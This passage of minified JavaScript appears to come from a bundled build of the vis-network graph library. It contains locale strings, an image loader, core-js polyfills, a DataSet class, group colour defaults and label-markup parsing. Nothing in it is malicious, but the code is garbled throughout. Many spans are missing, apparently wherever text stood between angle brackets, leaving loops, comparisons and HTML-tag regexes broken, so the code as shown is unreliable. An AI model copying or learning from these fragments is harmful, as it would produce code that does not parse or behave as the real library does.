selecionado",deleteClusterError:"Clusters não puderam ser removidos.",edgeDescription:"Clique em um nó e arraste a aresta até outro nó para conectá-los",edit:"Editar",editClusterError:"Clusters não puderam ser editados.",editEdge:"Editar aresta",editEdgeDescription:"Clique nos pontos de controle e os arraste para um nó para conectá-los",editNode:"Editar nó"},ru:{addDescription:"Кликните в свободное место, чтобы добавить новый узел.",addEdge:"Добавить ребро",addNode:"Добавить узел",back:"Назад",close:"Закрывать",createEdgeError:"Невозможно соединить ребра в кластер.",del:"Удалить выбранное",deleteClusterError:"Кластеры не могут быть удалены",edgeDescription:"Кликните на узел и протяните ребро к другому узлу, чтобы соединить их.",edit:"Редактировать",editClusterError:"Кластеры недоступны для редактирования.",editEdge:"Редактировать ребро",editEdgeDescription:"Кликните на контрольные точки и перетащите их в узел, чтобы подключиться к нему.",editNode:"Редактировать узел"},uk:{addDescription:"Kлікніть на вільне місце, щоб додати новий вузол.",addEdge:"Додати край",addNode:"Додати вузол",back:"Назад",close:"Закрити",createEdgeError:"Не можливо об'єднати краї в групу.",del:"Видалити обране",deleteClusterError:"Групи не можуть бути видалені.",edgeDescription:"Клікніть на вузол і перетягніть край до іншого вузла, щоб їх з'єднати.",edit:"Редагувати",editClusterError:"Групи недоступні для редагування.",editEdge:"Редагувати край",editEdgeDescription:"Клікніть на контрольні точки і перетягніть їх у вузол, щоб підключитися до нього.",editNode:"Редагувати вузол"}});function L6(n,e){try{const[i,C]=e.split(/[-_ /]/,2),o=i!=null?i.toLowerCase():null,s=C!=null?C.toUpperCase():null;if(o&&s){const a=o+"-"+s;if(Object.prototype.hasOwnProperty.call(n,a))return a;var t;console.warn(ry(t="Unknown variant ".concat(s," of language ")).call(t,o,"."))}if(o){const a=o;if(Object.prototype.hasOwnProperty.call(n,a))return a;console.warn("Unknown language ".concat(o))}return console.warn("Unknown locale ".concat(e,", falling back to English.")),"en"}catch(i){return console.error(i),console.warn("Unexpected error while normalizing locale ".concat(e,", falling back to English.")),"en"}}class G6{constructor(){this.NUM_ITERATIONS=4,this.image=new Image,this.canvas=document.createElement("canvas")}init(){if(this.initialized())return;this.src=this.image.src;const e=this.image.width,t=this.image.height;this.width=e,this.height=t;const i=Math.floor(t/2),C=Math.floor(t/4),o=Math.floor(t/8),s=Math.floor(t/16),a=Math.floor(e/2),l=Math.floor(e/4),u=Math.floor(e/8),h=Math.floor(e/16);this.canvas.width=3*l,this.canvas.height=i,this.coordinates=[[0,0,a,i],[a,0,l,C],[a,C,u,o],[5*u,C,h,s]],this._fillMipMap()}initialized(){return this.coordinates!==void 0}_fillMipMap(){const e=this.canvas.getContext("2d"),t=this.coordinates[0];e.drawImage(this.image,t[0],t[1],t[2],t[3]);for(let i=1;i2){t*=.5;let a=0;for(;t>2&&a=this.NUM_ITERATIONS&&(a=this.NUM_ITERATIONS-1);const l=this.coordinates[a];e.drawImage(this.canvas,l[0],l[1],l[2],l[3],i,C,o,s)}else e.drawImage(this.image,i,C,o,s)}}class F6{constructor(e){this.images={},this.imageBroken={},this.callback=e}_tryloadBrokenUrl(e,t,i){if(!(e===void 0||i===void 0)){if(t===void 0){console.warn("No broken url image defined");return}i.image.onerror=()=>{console.error("Could not load brokenImage:",t)},i.image.src=t}}_redrawWithImage(e){this.callback&&this.callback(e)}load(e,t){const i=this.images[e];if(i)return i;const C=new G6;return this.images[e]=C,C.image.onload=()=>{this._fixImageCoordinates(C.image),C.init(),this._redrawWithImage(C)},C.image.onerror=()=>{console.error("Could not load image:",e),this._tryloadBrokenUrl(e,t,C)},C.image.src=e,C}_fixImageCoordinates(e){e.width===0&&(document.body.appendChild(e),e.width=e.offsetWidth,e.height=e.offsetHeight,document.body.removeChild(e))}}var Rb={exports:{}},V6=Ze,Y6=V6(function(){if(typeof ArrayBuffer=="function"){var n=new ArrayBuffer(8);Object.isExtensible(n)&&Object.defineProperty(n,"a",{value:8})}}),U6=Ze,H6=Kt,K6=mi,Mb=Y6,Ws=Object.isExtensible,Q6=U6(function(){Ws(1)}),X6=Q6||Mb?function(e){return!H6(e)||Mb&&K6(e)==="ArrayBuffer"?!1:Ws?Ws(e):!0}:Ws,W6=Ze,_b=!W6(function(){return Object.isExtensible(Object.preventExtensions({}))}),q6=ue,J6=Be,$6=rI,eG=Kt,Kc=zt,tG=ug.f,kb=fI,gG=ys,Qc=X6,iG=ss,nG=_b,Zb=!1,Oi=iG("meta"),AG=0,Xc=function(n){tG(n,Oi,{value:{objectID:"O"+AG++,weakData:{}}})},CG=function(n,e){if(!eG(n))return typeof n=="symbol"?n:(typeof n=="string"?"S":"P")+n;if(!Kc(n,Oi)){if(!Qc(n))return"F";if(!e)return"E";Xc(n)}return n[Oi].objectID},IG=function(n,e){if(!Kc(n,Oi)){if(!Qc(n))return!0;if(!e)return!1;Xc(n)}return n[Oi].weakData},oG=function(n){return nG&&Zb&&Qc(n)&&!Kc(n,Oi)&&Xc(n),n},sG=function(){rG.enable=function(){},Zb=!0;var n=kb.f,e=J6([].splice),t={};t[Oi]=1,n(t).length&&(kb.f=function(i){for(var C=n(i),o=0,s=C.length;op;p++)if(v=z(n[p]),v&&Gb(Vb,v))return v;return new Js(!1)}u=ZG(n,h)}for(w=o?n.next:u.next;!(D=zG(w,u)).done;){try{v=z(D.value)}catch(k){Fb(u,"throw",k)}if(typeof v=="object"&&v&&Gb(Vb,v))return v}return new Js(!1)},jG=st,LG=TypeError,qc=function(n,e){if(jG(e,n))return n;throw new LG("Incorrect invocation")},GG=ue,FG=ot,VG=qs,YG=Ze,UG=_A,HG=Wc,KG=qc,QG=Pt,XG=Kt,WG=DA,qG=PA,JG=ug.f,$G=Wi.forEach,e9=Dt,Yb=Gn,t9=Yb.set,g9=Yb.getterFor,Jc=function(n,e,t){var i=n.indexOf("Map")!==-1,C=n.indexOf("Weak")!==-1,o=i?"set":"add",s=FG[n],a=s&&s.prototype,l={},u;if(!e9||!QG(s)||!(C||a.forEach&&!YG(function(){new s().entries().next()})))u=t.getConstructor(e,n,i,o),VG.enable();else{u=e(function(m,v){t9(KG(m,h),{type:n,collection:new s}),WG(v)||HG(v,m[o],{that:m,AS_ENTRIES:i})});var h=u.prototype,p=g9(n);$G(["add","clear","delete","forEach","get","has","set","keys","values","entries"],function(m){var v=m==="add"||m==="set";m in a&&!(C&&m==="clear")&&UG(h,m,function(w,D){var N=p(this).collection;if(!v&&C&&!XG(w))return m==="get"?void 0:!1;var z=N[m](w===0?0:w,D);return v?this:z})}),C||JG(h,"size",{configurable:!0,get:function(){return p(this).collection.size}})}return qG(u,n,!1,!0),l[n]=u,GG({global:!0,forced:!0},l),C||t.setStrong(u,n,i),u},i9=pI,$c=function(n,e,t){for(var i in e)t&&t.unsafe&&n[i]?n[i]=e[i]:i9(n,i,e[i],t);return n},n9=Ug,A9=Ll,C9=dt,I9=Dt,Ub=C9("species"),o9=function(n){var e=n9(n);I9&&e&&!e[Ub]&&A9(e,Ub,{configurable:!0,get:function(){return this}})},s9=hI,r9=Ll,Hb=$c,a9=oI,l9=qc,c9=DA,u9=Wc,d9=Ic,$s=oc,h9=o9,VI=Dt,Kb=qs.fastKey,Qb=Gn,Xb=Qb.set,eu=Qb.getterFor,Wb={getConstructor:function(n,e,t,i){var C=n(function(u,h){l9(u,o),Xb(u,{type:e,index:s9(null),first:void 0,last:void 0,size:0}),VI||(u.size=0),c9(h)||u9(h,u[i],{that:u,AS_ENTRIES:t})}),o=C.prototype,s=eu(e),a=function(u,h,p){var m=s(u),v=l(u,h),w,D;return v?v.value=p:(m.last=v={index:D=Kb(h,!0),key:h,value:p,previous:w=m.last,next:void 0,removed:!1},m.first||(m.first=v),w&&(w.next=v),VI?m.size++:u.size++,D!=="F"&&(m.index[D]=v)),u},l=function(u,h){var p=s(u),m=Kb(h),v;if(m!=="F")return p.index[m];for(v=p.first;v;v=v.next)if(v.key===h)return v};return Hb(o,{clear:function(){for(var h=this,p=s(h),m=p.index,v=p.first;v;)v.removed=!0,v.previous&&(v.previous=v.previous.next=void 0),delete m[v.index],v=v.next;p.first=p.last=void 0,VI?p.size=0:h.size=0},delete:function(u){var h=this,p=s(h),m=l(h,u);if(m){var v=m.next,w=m.previous;delete p.index[m.index],m.removed=!0,w&&(w.next=v),v&&(v.previous=w),p.first===m&&(p.first=v),p.last===m&&(p.last=w),VI?p.size--:h.size--}return!!m},forEach:function(h){for(var p=s(this),m=a9(h,arguments.length>1?arguments[1]:void 0),v;v=v?v.next:p.first;)for(m(v.value,v.key,this);v&&v.removed;)v=v.previous},has:function(h){return!!l(this,h)}}),Hb(o,t?{get:function(h){var p=l(this,h);return p&&p.value},set:function(h,p){return a(this,h===0?0:h,p)}}:{add:function(h){return a(this,h=h===0?0:h,h)}}),VI&&r9(o,"size",{configurable:!0,get:function(){return s(this).size}}),C},setStrong:function(n,e,t){var i=e+" Iterator",C=eu(e),o=eu(i);d9(n,e,function(s,a){Xb(this,{type:i,target:s,state:C(s),kind:a,last:void 0})},function(){for(var s=o(this),a=s.kind,l=s.last;l&&l.removed;)l=l.previous;return!s.target||!(s.last=l=l?l.next:s.state.first)?(s.target=void 0,$s(void 0,!0)):$s(a==="keys"?l.key:a==="values"?l.value:[l.key,l.value],!1)},t?"entries":"values",!t,!0),h9(e)}},f9=Jc,p9=Wb;f9("Map",function(n){return function(){return n(this,arguments.length?arguments[0]:void 0)}},p9);var tu=Be,m9=cs,v9=gi,y9=gI,b9=tu("".charAt),qb=tu("".charCodeAt),w9=tu("".slice),E9=function(n){return function(e,t){var i=v9(y9(e)),C=m9(t),o=i.length,s,a;return C<0||C>=o?n?"":void 0:(s=qb(i,C),s<55296||s>56319||C+1===o||(a=qb(i,C+1))<56320||a>57343?n?b9(i,C):s:n?w9(i,C,C+2):(s-55296<<10)+(a-56320)+65536)}},T9={charAt:E9(!0)},S9=T9.charAt,O9=gi,Jb=Gn,x9=Ic,$b=oc,e0="String Iterator",N9=Jb.set,D9=Jb.getterFor(e0);x9(String,"String",function(n){N9(this,{type:e0,string:O9(n),index:0})},function(){var e=D9(this),t=e.string,i=e.index,C;return i>=t.length?$b(void 0,!0):(C=S9(t,i),e.index+=C.length,$b(C,!1))});var z9=je,R9=z9.Map,M9=R9,_9=M9,k9=_9,YI=ae(k9);class Z9{constructor(){this.clear(),this._defaultIndex=0,this._groupIndex=0,this._defaultGroups=[{border:"#2B7CE9",background:"#97C2FC",highlight:{border:"#2B7CE9",background:"#D2E5FF"},hover:{border:"#2B7CE9",background:"#D2E5FF"}},{border:"#FFA500",background:"#FFFF00",highlight:{border:"#FFA500",background:"#FFFFA3"},hover:{border:"#FFA500",background:"#FFFFA3"}},{border:"#FA0A10",background:"#FB7E81",highlight:{border:"#FA0A10",background:"#FFAFB1"},hover:{border:"#FA0A10",background:"#FFAFB1"}},{border:"#41A906",background:"#7BE141",highlight:{border:"#41A906",background:"#A1EC76"},hover:{border:"#41A906",background:"#A1EC76"}},{border:"#E129F0",background:"#EB7DF4",highlight:{border:"#E129F0",background:"#F0B3F5"},hover:{border:"#E129F0",background:"#F0B3F5"}},{border:"#7C29F0",background:"#AD85E4",highlight:{border:"#7C29F0",background:"#D3BDF0"},hover:{border:"#7C29F0",background:"#D3BDF0"}},{border:"#C37F00",background:"#FFA807",highlight:{border:"#C37F00",background:"#FFCA66"},hover:{border:"#C37F00",background:"#FFCA66"}},{border:"#4220FB",background:"#6E6EFD",highlight:{border:"#4220FB",background:"#9B9BFD"},hover:{border:"#4220FB",background:"#9B9BFD"}},{border:"#FD5A77",background:"#FFC0CB",highlight:{border:"#FD5A77",background:"#FFD1D9"},hover:{border:"#FD5A77",background:"#FFD1D9"}},{border:"#4AD63A",background:"#C2FABC",highlight:{border:"#4AD63A",background:"#E6FFE3"},hover:{border:"#4AD63A",background:"#E6FFE3"}},{border:"#990000",background:"#EE0000",highlight:{border:"#BB0000",background:"#FF3333"},hover:{border:"#BB0000",background:"#FF3333"}},{border:"#FF6000",background:"#FF6000",highlight:{border:"#FF6000",background:"#FF6000"},hover:{border:"#FF6000",background:"#FF6000"}},{border:"#97C2FC",background:"#2B7CE9",highlight:{border:"#D2E5FF",background:"#2B7CE9"},hover:{border:"#D2E5FF",background:"#2B7CE9"}},{border:"#399605",background:"#255C03",highlight:{border:"#399605",background:"#255C03"},hover:{border:"#399605",background:"#255C03"}},{border:"#B70054",background:"#FF007E",highlight:{border:"#B70054",background:"#FF007E"},hover:{border:"#B70054",background:"#FF007E"}},{border:"#AD85E4",background:"#7C29F0",highlight:{border:"#D3BDF0",background:"#7C29F0"},hover:{border:"#D3BDF0",background:"#7C29F0"}},{border:"#4557FA",background:"#000EA1",highlight:{border:"#6E6EFD",background:"#000EA1"},hover:{border:"#6E6EFD",background:"#000EA1"}},{border:"#FFC0CB",background:"#FD5A77",highlight:{border:"#FFD1D9",background:"#FD5A77"},hover:{border:"#FFD1D9",background:"#FD5A77"}},{border:"#C2FABC",background:"#74D66A",highlight:{border:"#E6FFE3",background:"#74D66A"},hover:{border:"#E6FFE3",background:"#74D66A"}},{border:"#EE0000",background:"#990000",highlight:{border:"#FF3333",background:"#BB0000"},hover:{border:"#FF3333",background:"#BB0000"}}],this.options={},this.defaultOptions={useDefaultGroups:!0},ht(this.options,this.defaultOptions)}setOptions(e){const t=["useDefaultGroups"];if(e!==void 0){for(const i in e)if(Object.prototype.hasOwnProperty.call(e,i)&&Le(t).call(t,i)===-1){const C=e[i];this.add(i,C)}}}clear(){this._groups=new YI,this._groupNames=[]}get(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,i=this._groups.get(e);if(i===void 0&&t)if(this.options.useDefaultGroups===!1&&this._groupNames.length>0){const C=this._groupIndex%this._groupNames.length;++this._groupIndex,i={},i.color=this._groups.get(this._groupNames[C]),this._groups.set(e,i)}else{const C=this._defaultIndex%this._defaultGroups.length;this._defaultIndex++,i={},i.color=this._defaultGroups[C],this._groups.set(e,i)}return i}add(e,t){return this._groups.has(e)||this._groupNames.push(e),this._groups.set(e,t),t}}var B9=ue;B9({target:"Number",stat:!0},{isNaN:function(e){return e!==e}});var P9=je,j9=P9.Number.isNaN,L9=j9,G9=L9,F9=G9,gu=ae(F9),V9=ot,Y9=V9.isFinite,U9=Number.isFinite||function(e){return typeof e=="number"&&Y9(e)},H9=ue,K9=U9;H9({target:"Number",stat:!0},{isFinite:K9});var Q9=je,X9=Q9.Number.isFinite,W9=X9,q9=W9,J9=q9,eA=ae(J9),$9=ue,eF=Wi.some,tF=VA,gF=tF("some");$9({target:"Array",proto:!0,forced:!gF},{some:function(e){return eF(this,e,arguments.length>1?arguments[1]:void 0)}});var iF=bt,nF=iF("Array").some,AF=st,CF=nF,iu=Array.prototype,IF=function(n){var e=n.some;return n===iu||AF(iu,n)&&e===iu.some?CF:e},oF=IF,sF=oF,rF=sF,t0=ae(rF),aF=je,lF=aF.Object.getOwnPropertySymbols,cF=lF,uF=cF,dF=uF,si=ae(dF),g0={exports:{}},hF=ue,fF=Ze,pF=Yg,i0=$C.f,n0=Dt,mF=!n0||fF(function(){i0(1)});hF({target:"Object",stat:!0,forced:mF,sham:!n0},{getOwnPropertyDescriptor:function(e,t){return i0(pF(e),t)}});var vF=je,A0=vF.Object,yF=g0.exports=function(e,t){return A0.getOwnPropertyDescriptor(e,t)};A0.getOwnPropertyDescriptor.sham&&(yF.sham=!0);var bF=g0.exports,wF=bF,EF=wF,TF=EF,ri=ae(TF),SF=ue,OF=Dt,xF=$v,NF=Yg,DF=$C,zF=cI;SF({target:"Object",stat:!0,sham:!OF},{getOwnPropertyDescriptors:function(e){for(var t=NF(e),i=DF.f,C=xF(t),o={},s=0,a,l;C.length>s;)l=i(t,a=C[s++]),l!==void 0&&zF(o,a,l);return o}});var RF=je,MF=RF.Object.getOwnPropertyDescriptors,_F=MF,kF=_F,ZF=kF,ai=ae(ZF),C0={exports:{}},BF=ue,PF=Dt,I0=fs.f;BF({target:"Object",stat:!0,forced:Object.defineProperties!==I0,sham:!PF},{defineProperties:I0});var jF=je,o0=jF.Object,LF=C0.exports=function(e,t){return o0.defineProperties(e,t)};o0.defineProperties.sham&&(LF.sham=!0);var GF=C0.exports,FF=GF,VF=FF,YF=VF,UI=ae(YF),s0={exports:{}},UF=ue,HF=Dt,r0=ug.f;UF({target:"Object",stat:!0,forced:Object.defineProperty!==r0,sham:!HF},{defineProperty:r0});var KF=je,a0=KF.Object,QF=s0.exports=function(e,t,i){return a0.defineProperty(e,t,i)};a0.defineProperty.sham&&(QF.sham=!0);var XF=s0.exports,WF=XF,l0=WF,qF=l0,JF=qF,$F=JF,eV=$F,tV=eV,gV=ae(tV),iV=dt,nV=ug.f,c0=iV("metadata"),u0=Function.prototype;u0[c0]===void 0&&nV(u0,c0,{value:null});var AV=rt;AV("asyncDispose");var CV=rt;CV("dispose");var IV=rt;IV("metadata");var oV=Wv,sV=oV,rV=Ug,aV=Be,nu=rV("Symbol"),lV=nu.keyFor,cV=aV(nu.prototype.valueOf),d0=nu.isRegisteredSymbol||function(e){try{return lV(cV(e))!==void 0}catch{return!1}},uV=ue,dV=d0;uV({target:"Symbol",stat:!0},{isRegisteredSymbol:dV});for(var hV=RA,h0=Ug,fV=Be,pV=AI,mV=dt,er=h0("Symbol"),f0=er.isWellKnownSymbol,p0=h0("Object","getOwnPropertyNames"),vV=fV(er.prototype.valueOf),m0=hV("wks"),Au=0,v0=p0(er),yV=v0.length;Au=0:a>l;l+=u)l in s&&(C=t(C,s[l],l,o));return C}},sY={left:oY(!1)},rY=ot,aY=mi,lY=aY(rY.process)==="process",cY=ue,uY=sY.left,dY=VA,E0=nI,hY=lY,fY=!hY&&E0>79&&E0<83,pY=fY||!dY("reduce");cY({target:"Array",proto:!0,forced:pY},{reduce:function(e){var t=arguments.length;return uY(this,e,t,t>1?arguments[1]:void 0)}});var mY=bt,vY=mY("Array").reduce,yY=st,bY=vY,Cu=Array.prototype,wY=function(n){var e=n.reduce;return n===Cu||yY(Cu,n)&&e===Cu.reduce?bY:e},EY=wY,TY=EY,SY=TY,Iu=ae(SY),OY=Xi,xY=Og,NY=Ml,DY=oI,T0=function(n,e,t,i,C,o,s,a){for(var l=C,u=0,h=s?DY(s,a):!1,p,m;u0&&OY(p)?(m=xY(p),l=T0(n,e,p,m,l,o-1)-1):(NY(l+1),n[l]=p),l++),u++;return l},zY=T0,RY=ue,MY=zY,_Y=jn,kY=cg,ZY=Og,BY=hs;RY({target:"Array",proto:!0},{flatMap:function(e){var t=kY(this),i=ZY(t),C;return _Y(e),C=BY(t,0),C.length=MY(C,t,t,i,0,1,e,arguments.length>1?arguments[1]:void 0),C}});var PY=bt;PY("Array").flatMap;var jY=w0,gC=ae(jY),LY=Jc,GY=Wb;LY("Set",function(n){return function(){return n(this,arguments.length?arguments[0]:void 0)}},GY);var FY=je,VY=FY.Set,YY=VY,UY=YY,HY=UY,qg=ae(HY),KY=jb,QY=KY,XY=QY,WY=XY,qY=WY,JY=qY,$Y=JY,eU=$Y,tU=eU,gU=tU,ou=ae(gU),S0=Lm,iU=Math.floor,su=function(n,e){var t=n.length,i=iU(t/2);return t<8?nU(n,e):AU(n,su(S0(n,0,i),e),su(S0(n,i),e),e)},nU=function(n,e){for(var t=n.length,i=1,C,o;i0;)n[o]=n[--o];o!==i++&&(n[o]=C)}return n},AU=function(n,e,t,i){for(var C=e.length,o=t.length,s=0,a=0;s3)){if(mU)return!0;if(_0)return _0<603;var n="",e,t,i,C;for(e=65;e<76;e++){switch(t=String.fromCharCode(e),e){case 66:case 69:case 70:case 72:i=3;break;case 68:case 71:i=4;break;default:i=2}for(C=0;C<47;C++)In.push({k:t+C,v:i})}for(In.sort(function(o,s){return s.v-o.v}),C=0;Cz0(t)?1:-1}};cU({target:"Array",proto:!0,forced:EU},{sort:function(e){e!==void 0&&uU(e);var t=dU(this);if(Z0)return e===void 0?k0(t):k0(t,e);var i=[],C=D0(t),o,s;for(s=0;s{i.flush()};const C=[{name:"flush",original:void 0}];if(t&&t.replace)for(let o=0;othis.max&&this.flush(),this._timeout!=null&&(clearTimeout(this._timeout),this._timeout=null),this.queue.length>0&&typeof this.delay=="number"&&(this._timeout=Ai(()=>{this.flush()},this.delay))}flush(){var e,t;De(e=ni(t=this._queue).call(t,0)).call(e,i=>{i.fn.apply(i.context||i.fn,i.args||[])})}}class nr{constructor(){Tt(this,"_subscribers",{"*":[],add:[],remove:[],update:[]}),Tt(this,"subscribe",nr.prototype.on),Tt(this,"unsubscribe",nr.prototype.off)}_trigger(e,t,i){var C;if(e==="*")throw new Error("Cannot trigger event *");De(C=[...this._subscribers[e],...this._subscribers["*"]]).call(C,o=>{o(e,t,i??null)})}on(e,t){typeof t=="function"&&this._subscribers[e].push(t)}off(e,t){var i;this._subscribers[e]=wt(i=this._subscribers[e]).call(i,C=>C!==t)}}class tA{constructor(e){Tt(this,"_pairs",void 0),this._pairs=e}*[gC](){for(const[e,t]of this._pairs)yield[e,t]}*entries(){for(const[e,t]of this._pairs)yield[e,t]}*keys(){for(const[e]of this._pairs)yield e}*values(){for(const[,e]of this._pairs)yield e}toIdArray(){var e;return jt(e=[...this._pairs]).call(e,t=>t[0])}toItemArray(){var e;return jt(e=[...this._pairs]).call(e,t=>t[1])}toEntryArray(){return[...this._pairs]}toObjectMap(){const e=$i(null);for(const[t,i]of this._pairs)e[t]=i;return e}toMap(){return new YI(this._pairs)}toIdSet(){return new qg(this.toIdArray())}toItemSet(){return new qg(this.toItemArray())}cache(){return new tA([...this._pairs])}distinct(e){const t=new qg;for(const[i,C]of this._pairs)t.add(e(C,i));return t}filter(e){const t=this._pairs;return new tA({*[gC](){for(const[i,C]of t)e(C,i)&&(yield[i,C])}})}forEach(e){for(const[t,i]of this._pairs)e(i,t)}map(e){const t=this._pairs;return new tA({*[gC](){for(const[i,C]of t)yield[i,e(C,i)]}})}max(e){const t=ou(this._pairs);let i=t.next();if(i.done)return null;let C=i.value[1],o=e(i.value[1],i.value[0]);for(;!(i=t.next()).done;){const[s,a]=i.value,l=e(a,s);l>o&&(o=l,C=a)}return C}min(e){const t=ou(this._pairs);let i=t.next();if(i.done)return null;let C=i.value[1],o=e(i.value[1],i.value[0]);for(;!(i=t.next()).done;){const[s,a]=i.value,l=e(a,s);l{var t;return ou(xi(t=[...this._pairs]).call(t,(i,C)=>{let[o,s]=i,[a,l]=C;return e(s,l,o,a)}))}})}}function pH(n,e){return n[e]==null&&(n[e]=nC()),n}class AC extends nr{get idProp(){return this._idProp}constructor(e,t){super(),Tt(this,"flush",void 0),Tt(this,"length",void 0),Tt(this,"_options",void 0),Tt(this,"_data",void 0),Tt(this,"_idProp",void 0),Tt(this,"_queue",null),e&&!Re(e)&&(t=e,e=[]),this._options=t||{},this._data=new YI,this.length=0,this._idProp=this._options.fieldId||"id",e&&e.length&&this.add(e),this.setOptions(t)}setOptions(e){e&&e.queue!==void 0&&(e.queue===!1?this._queue&&(this._queue.destroy(),this._queue=null):(this._queue||(this._queue=du.extend(this,{replace:["add","update","remove"]})),e.queue&&typeof e.queue=="object"&&this._queue.setOptions(e.queue)))}add(e,t){const i=[];let C;if(Re(e)){const o=jt(e).call(e,s=>s[this._idProp]);if(t0(o).call(o,s=>this._data.has(s)))throw new Error("A duplicate id was found in the parameter array.");for(let s=0,a=e.length;s{const h=u[a];if(h!=null&&this._data.has(h)){const p=u,m=ht({},this._data.get(h)),v=this._updateItem(p);C.push(v),s.push(p),o.push(m)}else{const p=this._addItem(u);i.push(p)}};if(Re(e))for(let u=0,h=e.length;u{const s=this._data.get(o[this._idProp]);if(s==null)throw new Error("Updating non-existent items is not allowed.");return{oldData:s,update:o}})).call(i,o=>{let{oldData:s,update:a}=o;const l=s[this._idProp],u=i6(s,a);return this._data.set(l,u),{id:l,oldData:s,updatedData:u}});if(C.length){const o={items:jt(C).call(C,s=>s.id),oldData:jt(C).call(C,s=>s.oldData),data:jt(C).call(C,s=>s.updatedData)};return this._trigger("update",o,t),o.items}else return[]}get(e,t){let i,C,o;L0(e)?(i=e,o=t):Re(e)?(C=e,o=t):o=e;const s=o&&o.returnType==="Object"?"Object":"Array",a=o&&wt(o),l=[];let u,h,p;if(i!=null)u=this._data.get(i),u&&a&&!a(u)&&(u=void 0);else if(C!=null)for(let w=0,D=C.length;w(C[o]=e[o],C),{})}_sort(e,t){if(typeof t=="string"){const i=t;xi(e).call(e,(C,o)=>{const s=C[i],a=o[i];return s>a?1:si)&&(t=o,i=s)}return t||null}min(e){let t=null,i=null;for(const o of gr(C=this._data).call(C)){var C;const s=o[e];typeof s=="number"&&(i==null||se.x&&n.tope.y}function Cr(n){return typeof n=="string"&&n!==""}function K0(n,e,t,i){let C=i.x,o=i.y;if(typeof i.distanceToBorder=="function"){const s=i.distanceToBorder(n,e),a=Math.sin(e)*s,l=Math.cos(e)*s;l===s?(C+=s,o=i.y):a===s?(C=i.x,o-=s):(C+=l,o-=a)}else i.shape.width>i.shape.height?(C=i.x+i.shape.width*.5,o=i.y-t):(C=i.x+t,o=i.y-i.shape.height*.5);return{x:C,y:o}}class UH{constructor(e){this.measureText=e,this.current=0,this.width=0,this.height=0,this.lines=[]}_add(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:"normal";this.lines[e]===void 0&&(this.lines[e]={width:0,height:0,blocks:[]});let C=t;(t===void 0||t==="")&&(C=" ");const o=this.measureText(C,i),s=ht({},gr(o));s.text=t,s.width=o.width,s.mod=i,(t===void 0||t==="")&&(s.width=0),this.lines[e].blocks.push(s),this.lines[e].width+=s.width}curWidth(){const e=this.lines[this.current];return e===void 0?0:e.width}append(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"normal";this._add(this.current,e,t)}newLine(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"normal";this._add(this.current,e,t),this.current++}determineLineHeights(){for(let e=0;ee&&(e=C.width),t+=C.height}this.width=e,this.height=t}removeEmptyBlocks(){const e=[];for(let t=0;t"://,""://,""://,"":/<\/b>/,"":/<\/i>/,"":/<\/code>/,"*":/\*/,_:/_/,"`":/`/,afterBold:/[^*]/,afterItal:/[^_]/,afterMono:/[^`]/};class Q0{constructor(e){this.text=e,this.bold=!1,this.ital=!1,this.mono=!1,this.spacing=!1,this.position=0,this.buffer="",this.modStack=[],this.blocks=[]}mod(){return this.modStack.length===0?"normal":this.modStack[0]}modName(){if(this.modStack.length===0)return"normal";if(this.modStack[0]==="mono")return"mono";if(this.bold&&this.ital)return"boldital";if(this.bold)return"bold";if(this.ital)return"ital"}emitBlock(){this.spacing&&(this.add(" "),this.spacing=!1),this.buffer.length>0&&(this.blocks.push({text:this.buffer,mod:this.modName()}),this.buffer="")}add(e){e===" "&&(this.spacing=!0),this.spacing&&(this.buffer+=" ",this.spacing=!1),e!=" "&&(this.buffer+=e)}parseWS(e){return/[ \t]/.test(e)?(this.mono?this.add(e):this.spacing=!0,!0):!1}setTag(e){this.emitBlock(),this[e]=!0,this.modStack.unshift(e)}unsetTag(e){this.emitBlock(),this[e]=!1,this.modStack.shift()}parseStartTag(e,t){return!this.mono&&!this[e]&&this.match(t)?(this.setTag(e),!0):!1}match(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;const[i,C]=this.prepareRegExp(e),o=i.test(this.text.substr(this.position,C));return o&&t&&(this.position+=C-1),o}parseEndTag(e,t,i){let C=this.mod()===e;return e==="mono"?C=C&&this.mono:C=C&&!this.mono,C&&this.match(t)?(i!==void 0?(this.position===this.text.length-1||this.match(i,!1))&&this.unsetTag(e):this.unsetTag(e),!0):!1}replace(e,t){return this.match(e)?(this.add(t),this.position+=length-1,!0):!1}prepareRegExp(e){let t,i;if(e instanceof RegExp)i=e,t=1;else{const C=HH[e];C!==void 0?i=C:i=new RegExp(e),t=e.length}return[i,t]}}class KH{constructor(e,t,i,C){this.ctx=e,this.parent=t,this.selected=i,this.hover=C;const o=(s,a)=>{if(s===void 0)return 0;const l=this.parent.getFormattingValues(e,i,C,a);let u=0;return s!==""&&(u=this.ctx.measureText(s).width),{width:u,values:l}};this.lines=new UH(o)}process(e){if(!Cr(e))return this.lines.finalize();const t=this.parent.fontOptions;e=e.replace(/\r\n/g,` `),e=e.replace(/\r/g,` `);const i=String(e).split(` -`),C=i.length;if(t.multi)for(let o=0;o0)for(let a=0;a0)for(let o=0;o/&/.test(C)?(t.replace(t.text,"<","<")||t.replace(t.text,"&","&")||t.add("&"),!0):!1;for(;t.position")||t.parseStartTag("ital","")||t.parseStartTag("mono","")||t.parseEndTag("bold","")||t.parseEndTag("ital","")||t.parseEndTag("mono",""))||i(C)||t.add(C),t.position++}return t.emitBlock(),t.blocks}splitMarkdownBlocks(e){const t=new H0(e);let i=!0;const C=o=>/\\/.test(o)?(t.positionthis.parent.fontOptions.maxWdt}getLongestFit(e){let t="",i=0;for(;i1&&arguments[1]!==void 0?arguments[1]:"normal",i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;this.parent.getFormattingValues(this.ctx,this.selected,this.hover,t),e=e.replace(/^( +)/g,"$1\r"),e=e.replace(/([^\r][^ ]*)( +)/g,"$1\r$2\r");let C=e.split("\r");for(;C.length>0;){let o=this.getLongestFit(C);if(o===0){const s=C[0],a=this.getLongestFitWord(s);this.lines.newLine(Qg(s).call(s,0,a),t),C[0]=Qg(s).call(s,a)}else{let s=o;C[o-1]===" "?o--:C[s]===" "&&s++;const a=Qg(C).call(C,0,o).join("");o==C.length&&i?this.lines.append(a,t):this.lines.newLine(a,t),C=Qg(C).call(C,s)}}}}const QI=["bold","ital","boldital","mono"];class CC{constructor(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;this.body=e,this.pointToSelf=!1,this.baseSize=void 